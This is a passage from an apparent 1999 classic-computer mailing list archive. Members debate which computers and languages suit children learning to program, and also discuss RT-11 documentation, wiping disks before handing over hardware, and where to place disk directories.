18:40:03 2005 Subject: computers for children Message-ID: <199901130024.RAA21269@calico.litterbox.com> I have to side with those who suggest a simple computer for a child with enough interest to learn assembly. c64, apple2, and so forth would be my suggestions. MacOS and Windows both are designed to keep you away from the nitty gritty inside the computer. My understanding is MacOS won't let you near it at all, and while windows *will* it's grudgingly and at your own peril. (and there's so much crap in memory that you can munge it's unlikely a novice will survive.) And as someone pointed out, there's so much to distract from learning to program with a more modern machine... By contrast, to do any kind of graphics or sound with a c64, you are interacting with it on a pretty low level - sprites are an 8 byte by 1 byte (if memory serves) chunk of memory and to turn a given pixel on, you poked a byte with that pixel on. A modern computer is designed to be an appliance, like a toaster, and requires no more understanding than "put bread in slot, press lever". If the child has shown an interest about what's inside, giving her a wintel or macos machine is a disservice. I'd have to even say giving her a linux box to do assembly on is probably too much. I don't grasp assembly well enough to be sure, but I'd imagine a multitasking system complicates it somewhat. On a related topic, does anyone else feel sorry for the kid in the microsoft commercials who considers himself a computer expert because he has "mastered many of Microsoft's applications." Heh. In the early 64 years you were considered a wuss if you *bought* applications instead of writing your own. Could it be a fiendish plot to reduce competition by making sure no-one but Microsoft has the skills to program in their environment? :) (just kidding) -- Jim Strickland jim@DIESPAMMERSCUMcalico.litterbox.com ----------------------------------------------------------------------- Vote Meadocrat! Bill and Opus in 2000 - Who ELSE is there? ----------------------------------------------------------------------- From ard at p850ug1.demon.co.uk Tue Jan 12 17:04:17 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:03 2005 Subject: Computers for children In-Reply-To: from "Fred Cisin" at Jan 12, 99 02:34:08 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1013 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990112/9f4b440f/attachment.ksh From sinasohn at ricochet.net Tue Jan 12 18:24:03 1999 From: sinasohn at ricochet.net (Uncle Roger) Date: Sun Feb 27 18:40:03 2005 Subject: Computers for children Message-ID: <3.0.16.19990112161941.39e7ed90@ricochet.net> At 02:34 PM 1/12/99 -0800, you wrote: >I think that an 8 year old would be best off with a machine with CD-ROM >capability. And a good size stack of reference disks, including >Encyclopedia Brittanica, atlases, and several collections of literature. Uh-oh, here goes Uncle Roger again... There are a lot of *really* good educational programs out there nowadays. Davidson, Learning Company, Br0derbund are some good names. They can really help kids get ahead. My niece is already reading at 4yo thanks to Interactive Reading Journey. (Not a record by any stretch, but no one is really pushing her.) I could go on for hours, but I won't... >There should also be WWW access, preferably with at least minimal >graphics capability. The younger the kid, the more they need graphics capability. Teenagers don't really need it, no matter how much they beg for it (they just want to visit whitehouse.com). >In the PC world, that would call for 386SX with VGA video, and DOS 3.10 Or a Mac IIci, both of which will require access to older software. Pentium or PowerPC is required for much of the good stuff you see at places like ChumpUSA. Used parts can be put together into a low-end/slow pentium for probably a lot less than $500, but that's still more than $10 + shipping. And for a dedicated task like learning a bit of programming, playing with some graphics, and a few games, a C64/Atari 800/Apple II would be fine. Also, BASIC, as maligned as it is, is useful for learning; I applied my BASIC experience to make learning PERL a snap. (And BASIC is very useful in its own right.) --------------------------------------------------------------------- O- Uncle Roger "There is pleasure pure in being mad roger@sinasohn.com that none but madmen know." Roger Louis Sinasohn & Associates San Francisco, California http://www.sinasohn.com/ From sinasohn at ricochet.net Tue Jan 12 18:24:02 1999 From: sinasohn at ricochet.net (Uncle Roger) Date: Sun Feb 27 18:40:03 2005 Subject: Dr. Dobb's article Message-ID: <3.0.16.19990112160901.479761ca@ricochet.net> At 01:15 PM 1/12/99 -0600, you wrote: >laugh, you'll cry, get the book. (OK, it's a book about computer >collecting, the only one I know of, and it includes anecdotes from a few There is also Haddock's book of a similar name. Unfortunately, my copy has gone missing. It's around somewhere, but Rachel has been cleaning up my room, and I'm lucky to be able to find a clean shirt, let alone something important like a classic computer book. 8^) --------------------------------------------------------------------- O- Uncle Roger "There is pleasure pure in being mad roger@sinasohn.com that none but madmen know." Roger Louis Sinasohn & Associates San Francisco, California http://www.sinasohn.com/ From ckaiser at oa.ptloma.edu Tue Jan 12 18:32:41 1999 From: ckaiser at oa.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 18:40:03 2005 Subject: computers for children In-Reply-To: <199901130024.RAA21269@calico.litterbox.com> from "Jim Strickland" at Jan 12, 99 05:24:29 pm Message-ID: <199901130032.QAA15354@oa.ptloma.edu> A non-text attachment was scrubbed... Name: not available Type: text Size: 1084 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990112/067f6b42/attachment.ksh From rigdonj at intellistar.net Tue Jan 12 20:32:14 1999 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:40:03 2005 Subject: What the hell is this!? IBM test equipment Message-ID: <3.0.1.16.19990112203214.468fb95a@intellistar.net> I went computer scrounging today and found a brief case style tool box with some kind on IBM tester in it. I have so idea what it is but it has an 8" floppy disk drive in it! I got the floppy disk too. It has a NICE handset with a 4 line LED display and a full keyboard attached by a cable. There's also a lot of strange looking connectors and adapters with it. The main box has an "IPL" button and three connectors labeled "PIO", "S LOOP" and "R LOOP". The quick reference chart only calls it a "MD". There's a tag on it that says "TYPE 910x 002". Anyone know what it is and what it's for? Joe From mbg at world.std.com Tue Jan 12 18:30:33 1999 From: mbg at world.std.com (Megan) Date: Sun Feb 27 18:40:03 2005 Subject: RT-11 Help References: <199901122142.PAA08220@wildride.netads.com> Message-ID: <199901130030.AA18489@world.std.com> >Jerome Fine replies: > >As far as RT-11 online help, does anyone know if the hobby >license from Mentec also includes a copy of the DOCS for >V5.3 of RT-11? Then, is anyone willing to scan them onto >the internet? I don't know if the license extends to the documentation. I would doubt it. You might, however, be able to get a copy from someone. I would, however, say that it is copyrighted material, and as such should not be scanned in without the permission of the copyright owner... Megan Gentry Former RT-11 Developer +--------------------------------+-------------------------------------+ | Megan Gentry, EMT/B, PP-ASEL | Internet (work): gentry!zk3.dec.com | | Unix Support Engineering Group | (home): mbg!world.std.com | | Compaq Computer Corporation | addresses need '@' in place of '!' | | 110 Spitbrook Rd. ZK03-2/T43 | URL: http://world.std.com/~mbg/ | | Nashua, NH 03062 | "pdp-11 programmer - some assembler | | (603) 884 1055 | required." - mbg | +--------------------------------+-------------------------------------+ From yowza at yowza.com Tue Jan 12 18:38:54 1999 From: yowza at yowza.com (Doug Yowza) Date: Sun Feb 27 18:40:03 2005 Subject: Dr. Dobb's article In-Reply-To: <3.0.16.19990112160901.479761ca@ricochet.net> Message-ID: On Tue, 12 Jan 1999, Uncle Roger wrote: > >laugh, you'll cry, get the book. (OK, it's a book about computer > >collecting, the only one I know of, and it includes anecdotes from a few > > There is also Haddock's book of a similar name. Unfortunately, my copy has The two books are completely different. Kevin's book is about computer collecting. Haddock's book is more of a reference listing some collectible microcomputers (along with completely made-up prices). Both are good books to have, and they have virtually zero overlap. -- Doug From cmcmanis at freegate.com Tue Jan 12 18:50:28 1999 From: cmcmanis at freegate.com (Chuck McManis) Date: Sun Feb 27 18:40:03 2005 Subject: Computers for children In-Reply-To: References: <199901122209.QAA08373@wildride.netads.com> Message-ID: <4.1.19990112154512.00a65d80@mailhost.hq.freegate.com> At 02:34 PM 1/12/99 -0800, Fred wrote: >This'll probably offend many. Perhaps not. >I think that an 8 year old would be best off with a machine with CD-ROM >capability. And a good size stack of reference disks, including >Encyclopedia Brittanica, atlases, and several collections of literature. This I have, a full up multimedia capable machine with large quantities of reference material. We've got both the paper WorldBook and the CD version (fewer pictures!) and we've done our share of research on the web using this tool. But now she wants to know "how it works" and "how can I make it do Y" kinds of things. The challenge of developing a curriculum for her is isolating the concepts. Teaching programming without teaching file systems etc. The PDP-8 is wonderful for demonstrating the lower level concepts of "this signal turns on this this other thing when which causes this action." But that low a level can get in the way when learning more generic programming concepts. (And I surely wouldn't use it for teaching her Subroutines! :-) As someone else pointed out the C64's advantage is its "instant on" capability. The best analogy I can come up with is a whiteboard with execution access. Type in a bubble sort and see it in action. It also has rudimentary color graphics capability so there are interesting places to explore that keep the learning "fresh." One of the more fun things I did was to demonstrate programming to her first grade class. We wrote a "Towers of Hanoi" solver by giving each child an "instruction" which had a picture and words for what that child was to do (things like "move the top disk on the left to the middle pole, "if the disk on the right pole is bigger, skip the next child", etc). Then we "programmed" the computer by lining up the children and had them walk up to the towers, execute their instruction and then get back in line. It was fun because none of them could solve it on their own, and yet they all thought their individual instructions were "dopey." But when we had the program right, the problem "solved" itself. Lots of fun. >For programming, I would recommend BASIC, TO START WITH, followed by an >introduction to C and assembly as soon as basic principles are understood. I agree, although PASCAL has its place here as well. I _wish_ I had something like a C64 that had the original Oak (now called Java) in it. One of the things that got deleted was a sort of "immediate" mode that let you write code "outside" of any object in the environment and that became the "application." When FreeGate goes public and I'm a zillionaire I'll build that box :-) >In the PC world, that would call for 386SX with VGA video, and DOS 3.10 >or above. (preferably 6.2x) I would also recommend Windoze Notepad and >Windoze Write for word processing. The interesting thing here is that she can easily distinguish between the "teaching" computer and the "tool" computer. I've got a Win95 system I built out of my scrap pile that provides all the tools. Its the lab computers that I'm working on. >Once the kid has gotten thoroughly into it, THEN maybe a birthday present >of a set of Linux disks? In my case FreeBSD disks simply because I'm very familiar with the development of that system and know most of the design decisions that went into doing things various ways. (I get a lot of 'but why do it _that_ way dad?' kinds of questions.) >How much more than a C64 would a generic 386 AT cost? Do you need some >of us to contribute some parts? My current plan is: Topic Lab Equipment Computer Fundamentals PDP-8 with some custom I/O hardware. Programming Fundamentals I C64 + TV Introduction to Robotics Lego Mindstorms Programming Fundamentals FreeBSD system Introduction to Graphics I C64 + TV Introduction to Graphics II FreeBSD system with custom graphics card If we get through all of this we'd probably pick one of operating systems, language design, or databases to do next. One of the interesting thing I've discovered about children is that their lack of preconcieved notions allows them to get right to the material. Same with spoken languages, my three year old is picking up spanish from a live in college student. I asked her how she knew what to say in spanish and her answer was appropriately "That's how Marta would have said it." --Chuck From roblwill at usaor.net Tue Jan 12 21:39:19 1999 From: roblwill at usaor.net (Jason Willgruber) Date: Sun Feb 27 18:40:03 2005 Subject: Computers for children Message-ID: <01be3ea6$4d528720$a39ba6d1@the-general> I remember that *My* first computer was a 286-16 with 4 MB RAM, DOS 3.3, a 1/2 x CD-ROM and a 360k floppy. The keyboard was missing a few keys, the case (XT) had gotten rusty from sitting in a damp basement, and I had found the EGA monitor in the garbage (I had to replace the power cord). It didn't have a mouse, and when I finally was given an old mouse, I found out that neither serial port worked. I eventually bought a serial card for $1, and a copy of Windows 3.0 for $10 (on CD, in 1992). It was the first program that I ever had on CD. It took 5 hours to install. The printer was a Tandy DWP ][ that I was given by someone who got rid of their TRS-80. Instead of buying a cable for it, I ripped the D-connector out of the fried serial board and made my own cable. I used Windows Terminal to connect to a local BBS with a 2400 manual-dial Racal-Vadic modem that I found a Salvation Army for $3. The computer was running up until two years ago, when the HD crashed (heads?) and a cloud of tan/orange smoke billowed from the front of it. I pulled the serial card, CD-ROM controller and video card. I gave the monitor and vid card to a cousin that was building a computer, the case/MB/floppy/HD to a computer recycler (since out of business), and the CD-ROM is still chugging away on my 5170. I think that entire system cost me about $20. -- -Jason Willgruber (roblwill@usaor.net) ICQ#: 1730318 -----Original Message----- From: Fred Cisin (XenoSoft) To: Discussion re-collecting of classic computers Date: Tuesday, January 12, 1999 2:35 PM Subject: Computers for children >This'll probably offend many. > >I think that an 8 year old would be best off with a machine with CD-ROM >capability. And a good size stack of reference disks, including >Encyclopedia Brittanica, atlases, and several collections of literature. > >There should also be WWW access, preferably with at least minimal >graphics capability. > >If you really want to splurge, a cheap color inkjet printer. > >For programming, I would recommend BASIC, TO START WITH, followed by an >introduction to C and assembly as soon as basic principles are understood. > > >In the PC world, that would call for 386SX with VGA video, and DOS 3.10 >or above. (preferably 6.2x) I would also recommend Windoze Notepad and >Windoze Write for word processing. > >Once the kid has gotten thoroughly into it, THEN maybe a birthday present >of a set of Linux disks? > > >How much more than a C64 would a generic 386 AT cost? Do you need some >of us to contribute some parts? > >-- >Fred Cisin cisin@xenosoft.com >XenoSoft http://www.xenosoft.com >2210 Sixth St. (510) 644-9366 >Berkeley, CA 94710-2219 > > From cisin at xenosoft.com Tue Jan 12 19:00:10 1999 From: cisin at xenosoft.com (Fred Cisin (XenoSoft)) Date: Sun Feb 27 18:40:03 2005 Subject: MS-DOS FAT file system ripped off? (from WHOM?) In-Reply-To: Message-ID: On Tue, 12 Jan 1999, Doug Yowza wrote: > > Microsoft produced some "Stand-Alone BASIC" systems. They had file IO, > > and used a a directory structure that was, in principle, similar to that > > of MS-DOS, although they subscribed to the seek center fallacy of putting > > the directory on a track approximately halfway towards the center. > Remind me again about why this was a fallacy. I thought the idea was to > reduce the average seek time slightly by minimizing the average distance > the head traveled by factor of 2 versus a directory on a track at one end > of the disk. When going to the directory on a system without a track 0 stop or track 0 switch, it DOES substantially reduce the average access. But, if there IS a track 0 stop, or track 0 switch, then it is normally possible to get to track 0 at full maximum velocity, rather than stepping one track at a time, pausing (and maybe reading) before taking the next step. That usually makes even the maximum seek to track 0 take even less than half the time that track by track stepping would. AND, on systems with a track 0 switch, track 0 is the one place where you always know where you are. Therefore, whenever there is an unknown or a seek error, the system will normally send the head out to track 0 and count back in again. -- Fred Cisin cisin@xenosoft.com XenoSoft http://www.xenosoft.com 2210 Sixth St. (510) 644-9366 Berkeley, CA 94710-2219 From spc at armigeron.com Wed Jan 13 18:50:01 1999 From: spc at armigeron.com (Sean 'Captain Napalm' Conner) Date: Sun Feb 27 18:40:03 2005 Subject: computers for children In-Reply-To: <199901130024.RAA21269@calico.litterbox.com> from "Jim Strickland" at Jan 12, 99 05:24:29 pm Message-ID: <199901140051.TAA03258@armigeron.com> A non-text attachment was scrubbed... Name: not available Type: text Size: 3079 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990113/9180bcbb/attachment.ksh From ard at p850ug1.demon.co.uk Tue Jan 12 19:05:30 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:03 2005 Subject: Computers for children In-Reply-To: from "Fred Cisin" at Jan 12, 99 04:15:45 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1956 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990113/46090a27/attachment.ksh From ard at p850ug1.demon.co.uk Tue Jan 12 19:09:44 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:03 2005 Subject: Computers for children In-Reply-To: <3.0.16.19990112161941.39e7ed90@ricochet.net> from "Uncle Roger" at Jan 12, 99 04:24:03 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1206 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990113/65b7aa7e/attachment.ksh From ard at p850ug1.demon.co.uk Tue Jan 12 18:53:44 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:03 2005 Subject: Computers for children In-Reply-To: from "Sam Ismail" at Jan 12, 99 02:57:16 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 4070 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990113/ee083a42/attachment.ksh From fauradon at pclink.com Tue Jan 12 19:58:11 1999 From: fauradon at pclink.com (Francois) Date: Sun Feb 27 18:40:03 2005 Subject: computers for children Message-ID: <000e01be3e98$2eea2300$a943fea9@francois> One of the main problem in getting a kid interested in one machine is not really at the level of what they can do with it but more IMHO to what machine they are used to play with. My daughter (4) and my son (2) are both used to play with thepentium running Winblows. If I show them a game on a c64 or Apple ][ or any other machine for that matter they look at me weird and ask if they can play with the pentium since I'm not using it... I belive that if a kid is interested in programming (mine are not yet:( it is better to let them choose what machine they are attracted to. I don't know yet whether any of mine will have any interest in old machines but for the time being I'm just happy that they show any interest at all in one of them. What I'm trying to do is show them as much as I can (or as much as they can take) about other machines. I'll let them choose what they want later if they keep the interest. I can see ten years from now trying to tell my son that the C64 had an 8X1 byte for sprites and having him replying ok but how do you do hollographic simulation? Of course skill learned from old machines are valuable to understand what's going on inside of the machine but the trend today is to make abstraction of all those _annoying_ facts and use the proper library or API. (I work with Winblows programmers who have no clue how a computer operate) So I say let the kid choose. Francois. From healyzh at aracnet.com Tue Jan 12 19:55:13 1999 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:40:03 2005 Subject: RT-11 Help In-Reply-To: <369BA5DA.76F6DBDC@digiweb.com> References: Message-ID: Hans B Pufal wrote: >I found two books at ACONIT which I plan on studying : You found them where? > Programming with RT-11 Volume 1 Program Development Facilities > by Simon Clinch and Stephen Peters > Digital Press isbn 0-932376-32-0 > >and > > Programming with RT-11 Volume 2 Callable SYstem Facilities > by Simon Clinch and Stephen Peters > Digital Press isbn 0-932376-33-9 > > >These are in the RT-11 Techincal User's series which also includes > > Working with RT-11 >and > Tailoring RT-11 : System Management and Programming Facilities > > >Look to be useful books... They sound interesting, which version of RT-11 were they written for? That would be about V4 or V5.0 wouldn't it? How useful are they for V5.4 or higher? Zane | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.dragonfire.net/~healyzh/ | From SUPRDAVE at aol.com Tue Jan 12 19:47:00 1999 From: SUPRDAVE at aol.com (SUPRDAVE@aol.com) Date: Sun Feb 27 18:40:03 2005 Subject: MS-DOS FAT file system ripped off? (from WHOM?) Message-ID: <5d146259.369bfb14@aol.com> In a message dated 1/12/99 7:14:45 PM EST, spc@armigeron.com writes: << What's the fallacy in putting the directory in the center of a disk? Seems to me it would cut down on average the seek time. -spc (The elevator algorithm favors the center of the disk in fact) >> Well, that's how os2's HPFS puts the directory. i think it would cut down on seek time since there wouldnt be as much movement just moving to the outer/inner tracks. From fauradon at pclink.com Tue Jan 12 20:05:37 1999 From: fauradon at pclink.com (Francois) Date: Sun Feb 27 18:40:03 2005 Subject: Computers for children Message-ID: <001701be3e99$38becf60$a943fea9@francois> >I agree that what you propose is a good thing for a kid to have, >but it's a completely different topic - using the computer as a >general purpose learning tool, or playing on a computer. What >we were talking about was playing *with* a computer. > >|For programming, I would recommend BASIC, TO START WITH, followed by an >|introduction to C and assembly as soon as basic principles are understood. > >I've yet to see a BASIC that runs on top of an OS that's as >easy to get into and provides direct feedback as well as a >graphical BASIC DOS. Apparently you have not tried Visual Basic... > >|Once the kid has gotten thoroughly into it, THEN maybe a birthday present >|of a set of Linux disks? > >Hah. My kids started on Linux, at about 8 and 10. Yeah, I >intend to (God help me) get a Win or Mac system soon, but >only because there are too many things not yet available on >Linux. > >But Linux is just fine as a newbie OS for a kid. At what level are you talking? I have not seen any sofware for kids (like the knowledge adventure or humongous entertainment series) that would run on Linux. It is hard to get a kid used to play with windows for 6 years and tell him that it is crap and the one where you have to type long commands is a lot better. > >-Miles > From joe at barrera.org Tue Jan 12 20:00:03 1999 From: joe at barrera.org (Joseph S. Barrera III) Date: Sun Feb 27 18:40:03 2005 Subject: computers for children Message-ID: <044301be3e98$70f35960$11d53d9d@JOEBAR> >My daughter (4) and my son (2) are both used to play with the pentium running >Winblows. If I show them a game on a c64 or Apple ][ or any other machine >for that matter they look at me weird and ask if they can play with the >pentium since I'm not using it... My son (6) fell in love with the Kaypro II as soon as he saw a picture of it on the web, so I've promised him I'd get one.... not bad for the son of a "Microserf". (grrr.) - Joe From yowza at yowza.com Tue Jan 12 20:05:31 1999 From: yowza at yowza.com (Doug Yowza) Date: Sun Feb 27 18:40:03 2005 Subject: Computers for children In-Reply-To: <4.1.19990112154512.00a65d80@mailhost.hq.freegate.com> Message-ID: On Tue, 12 Jan 1999, Chuck McManis wrote: > The challenge of developing a curriculum for her is isolating the concepts. > Teaching programming without teaching file systems etc. Forget BASIC, you want LOGO! Somebody just sold a terappin turtle on ebay -- that would have been great for a kid. I once had to teach programming to biology majors, which is about the same as teaching a bunch of 8-year-old kids. Attention span is short, so you first have to remove all games from the system. If she's already been exposed to games, then it's too late -- she's either a zombie or you'll never be able to meet her expectations of what a computer can do under her direct control. Pick a problem in her domain that yields short-term feedback. If the distance between problem and solution is too great, you've lost her. Graphical simulations are good. I'd have her write a lunar lander. Start with how to draw simple shapes. Then how to move the shape under program control. Add control via an input device. Then a little physics lesson. Then add the fuel/game element, et voila: you've got a budding video game programmer on your hands. This is after she graduates from Geniac school, of course. -- Doug From dogas at leading.net Tue Jan 12 20:09:07 1999 From: dogas at leading.net (Mike) Date: Sun Feb 27 18:40:03 2005 Subject: RT-11 Help Message-ID: <01be3e99$b34f7540$f3c962cf@devlaptop> From: Megan >possible, however, for a user application to make use of the system >library routines which allow full access to an MSCP disk -- in which >case doing the squeeze won't help. an MSCP disk ??? This was a cardkey application for a rather large site so mayhap the app did this... >What you may want to suggest to him is to > > 1) Delete all sensitive files from all disk partitions how? DELETE myfile?? > 2) Squeeze all disk partitions. > 3) backup all disk partitions (on a file, not device, basis) > 4) FORMAT all disk partitions (RT-11 Format doesn't really > do a low-level format except for specific devices, and > MSCP disks are not one that it will do -- with the > exception of RX33 diskettes) > 5) Restore the backed-up files to all partitions. > 6) Release the hardware to you... :-) > >>Where can I find a good source of RT-11 info? > >Not counting the documentation which can be purchased for it... really? where? sign me up. ;) Thanks Megan - Mike: dogas@leading.net From jrkeys at concentric.net Tue Jan 12 20:15:18 1999 From: jrkeys at concentric.net (John R. Keys Jr.) Date: Sun Feb 27 18:40:03 2005 Subject: Dr. Dobb's article In-Reply-To: <000c01be3e41$56b3e8a0$bb88e9cf@yamato.chipware.com> Message-ID: <000401be3e9a$90eba2c0$5eb0adce@5x86jk> Yes I purchased the book and it has a lot of interviews with members of this list. There are no photos of any of the machines he talks about. John > -----Original Message----- > From: CLASSICCMP-owner@u.washington.edu > [mailto:CLASSICCMP-owner@u.washington.edu]On Behalf Of Bill Sudbrink > Sent: Tuesday, January 12, 1999 9:37 AM > To: Discussion re-collecting of classic computers > Subject: Dr. Dobb's article > > > If you haven't seen it yet, the February Dr. Dobb's > has a 3/4 page blurb about computer collecting and > Kevin Stumpf's > > _Guide_to_Collecting_Computers_and_Computer_Collectibles_ > > Does said author subscribe to this list? > > Has anyone seen the book for sale and/or bought/read it? > > Bill Sudbrink > > > From dogas at leading.net Tue Jan 12 20:17:38 1999 From: dogas at leading.net (Mike) Date: Sun Feb 27 18:40:03 2005 Subject: RT-11 Help Message-ID: <01be3e9a$e4087dc0$f3c962cf@devlaptop> From: Jerome Fine >I believe that Mentec sells a full set of DOCS (about 3' in the >13 binders) for about $ US 1300. You can also buy the V5.7 >H-kit for about $ US 1600, or it was the last time I was *trying to stuff eyes back in sockets from whence they sprung* tell me this is a fluke of international formatting. 130k pennies??? There go the eyes again... >) - Mike: dogas@leading.net From gram at cnct.com Tue Jan 12 20:35:45 1999 From: gram at cnct.com (Ward D. Griffiths III) Date: Sun Feb 27 18:40:03 2005 Subject: Computers for children In-Reply-To: <3.0.16.19990112161941.39e7ed90@ricochet.net> Message-ID: Well, I was reading before my fourth birthday, but there weren't any (kid accessable) computers in 1959. I had to use paper. I thought my mother was leaving out the good parts of the stories she was reading to me, turned out she was reading me stories without any good parts. It made me unpopular in school from kindergarten on, since I was given full and unlimited use of the public library when I was eight, since the librarians got tired of me hanging around when they were trying to close and the round-trip home to get a permission note from the parental unit cut seriously into my reading time, especially since if it was past dark said unit didn't want me going back to the library, so the rest of the evening was wasted. I was 23 when I started programming computers, unless you count the Digi-comp I. Other than that, a slide rule was my main tool through high school, I bought my first calculator (a Novus Mathematician) for half a month's pay when I was in the USAF. Computers are good for a kid to learn. But books are critical. Ward Griffiths "the timid die just like the daring; and if you don't take the plunge then you'll just take the fall" Michael Longcor On Tue, 12 Jan 1999, Uncle Roger wrote: > At 02:34 PM 1/12/99 -0800, you wrote: > >I think that an 8 year old would be best off with a machine with CD-ROM > >capability. And a good size stack of reference disks, including > >Encyclopedia Brittanica, atlases, and several collections of literature. > > Uh-oh, here goes Uncle Roger again... > > There are a lot of *really* good educational programs out there nowadays. > Davidson, Learning Company, Br0derbund are some good names. They can > really help kids get ahead. My niece is already reading at 4yo thanks to > Interactive Reading Journey. (Not a record by any stretch, but no one is > really pushing her.) > > I could go on for hours, but I won't... > > >There should also be WWW access, preferably with at least minimal > >graphics capability. > > The younger the kid, the more they need graphics capability. Teenagers > don't really need it, no matter how much they beg for it (they just want to > visit whitehouse.com). > > >In the PC world, that would call for 386SX with VGA video, and DOS 3.10 > > Or a Mac IIci, both of which will require access to older software. > Pentium or PowerPC is required for much of the good stuff you see at places > like ChumpUSA. > > Used parts can be put together into a low-end/slow pentium for probably a > lot less than $500, but that's still more than $10 + shipping. And for a > dedicated task like learning a bit of programming, playing with some > graphics, and a few games, a C64/Atari 800/Apple II would be fine. > > Also, BASIC, as maligned as it is, is useful for learning; I applied my > BASIC experience to make learning PERL a snap. (And BASIC is very useful > in its own right.) From gregorym at cadvision.com Tue Jan 12 20:46:35 1999 From: gregorym at cadvision.com (Mark Gregory) Date: Sun Feb 27 18:40:03 2005 Subject: Computer Collecting Books [WAS: Dr. Dobb's article] Message-ID: <3.0.32.19990112194634.006e6274@cadvision.com> At 04:24 PM 1/12/99 -0800, you wrote: >There is also Haddock's book of a similar name. Unfortunately, my copy has >gone missing. It's around somewhere, but Rachel has been cleaning up my >room, and I'm lucky to be able to find a clean shirt, let alone something >important like a classic computer book. 8^) > > >--------------------------------------------------------------------- O- > >Uncle Roger "There is pleasure pure in being mad >roger@sinasohn.com that none but madmen know." Haddock's book is A Collector's Guide to Personal Computers and Pocket Calculators, subtitled A Historical, Rarity, and Value Guide, by Dr. Thomas F. Haddock, Books Americana, Florence, Alabama, 1993. ISBN 0-89689-098-8. I found it useful as a reference, but dated; it doesn't include many machines after the Amiga 1000, and the prices are way out of date. Also, the information about many machines is incomplete (e.g. no production estimates, original list prices, details). The book also has a lot of material on 70s vintage hobbyist machines and peripherals (e.g. Altair, IMSAI, many more obscure others) that are largely unobtainable where I live. Still, fun to browse through, and one of the few references available for our hobby. Mark. From dwollmann at ibmhelp.com Tue Jan 12 20:39:10 1999 From: dwollmann at ibmhelp.com (David Wollmann) Date: Sun Feb 27 18:40:03 2005 Subject: IBM type 4836? In-Reply-To: <369B95F0.E8E93631@bigfoot.com> Message-ID: On Tue, 12 Jan 1999, Russ Blakeman wrote: > A friend asked me about what he says is an IBM unit that is running > Windows 3.1 and he says it says a type 4836. That number isn't clciking > with me, anyone have any ideas of what this is, or is he possibly > reading a tag from an add-on/in card? I saw a reference in IBM Finland > to a 4836 multiplatform emulation card but nothing else. > IIRC, 4830 is IBM's POS platform. I could be wrong, I've just consumed massive amounts of refined sugar. -- David Wollmann DST / DST Data Conversion http://www.ibmhelp.com/ ICQ: 10742063 AIM: FathomS36 From kyrrin at bluefeathertech.com Tue Jan 12 20:45:09 1999 From: kyrrin at bluefeathertech.com (Bruce Lane) Date: Sun Feb 27 18:40:03 2005 Subject: micro PDP-11 "Fatal RSTS/E system initialization error!" In-Reply-To: <199901121609.AA08871@world.std.com> Message-ID: <3.0.5.32.19990112184509.0093d220@mail.bluefeathertech.com> A non-text attachment was scrubbed... Name: not available Type: text/enriched Size: 1036 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990112/87b8a7e9/attachment.bin From pechter at monmouth.com Tue Jan 12 20:13:55 1999 From: pechter at monmouth.com (Bill Pechter) Date: Sun Feb 27 18:40:04 2005 Subject: Computers for children In-Reply-To: from Tony Duell at "Jan 13, 99 01:09:44 am" Message-ID: <199901130213.VAA16752@pechter.ddns.org> > What I did have was parents who encouraged me to learn, who helped me > learn to read (I don't mean they forced books at me, but as soon as I > showed an interest in something they encouraged it), etc. > > IMHO the ability to use a reference book is still essential. There are > plenty of books I use where there simply aren't equivalents on CD-ROM. > And there's no reason why a child shouldn't learn to use books as well. > > -tony Yup... and you can't put margin notes in a CDROM. Which is why I told DEC to stuff the fiche they wanted me to use daily and got my Field Service manager to let me order hard copy docs on things I worked on almost daily, like TU77's and 78's... (The official adjustment procedures for some things just plain sucked and there were some field service tricks that cut the time to get em working by 50% -- like using the windage techniques on RP06's with the tunnel open and the Perch tester...) Bill --- Bill Gates is a Persian cat and a monocle away from being a villain in a James Bond movie -- Dennis Miller bpechter@shell.monmouth.com | pechter@pechter.ddns.org From pechter at monmouth.com Tue Jan 12 20:09:24 1999 From: pechter at monmouth.com (Bill Pechter) Date: Sun Feb 27 18:40:04 2005 Subject: Directories at the center of the disk In-Reply-To: <199901140002.TAA02981@armigeron.com> from Sean 'Captain Napalm' Conner at "Jan 13, 99 07:01:17 pm" Message-ID: <199901130209.VAA13841@pechter.ddns.org> > It was thus said that the Great Fred Cisin once stated: > > > > Microsoft produced some "Stand-Alone BASIC" systems. They had file IO, > > and used a a directory structure that was, in principle, similar to that > > of MS-DOS, although they subscribed to the seek center fallacy of putting > > the directory on a track approximately halfway towards the center. > > What's the fallacy in putting the directory in the center of a disk? > Seems to me it would cut down on average the seek time. > > -spc (The elevator algorithm favors the center of the disk in fact) We used to put the OS/32 directory in the center for optimization. Early Unix admins put /usr in the center of the disk (or /swap) to minimize seeks. DEC did the same, I think on some OS's. Also, I always felt putting the directory at the beginning or the end of the disk increased the possibility of data loss through head crash since the beginning of the disk was a common crash point at load time with dirty packs and the end of the pack was where the bad sector data was and was an area where I didn't want a lot of action. Bill --- Bill Gates is a Persian cat and a monocle away from being a villain in a James Bond movie -- Dennis Miller bpechter@shell.monmouth.com | pechter@pechter.ddns.org From kyrrin at bluefeathertech.com Tue Jan 12 20:46:07 1999 From: kyrrin at 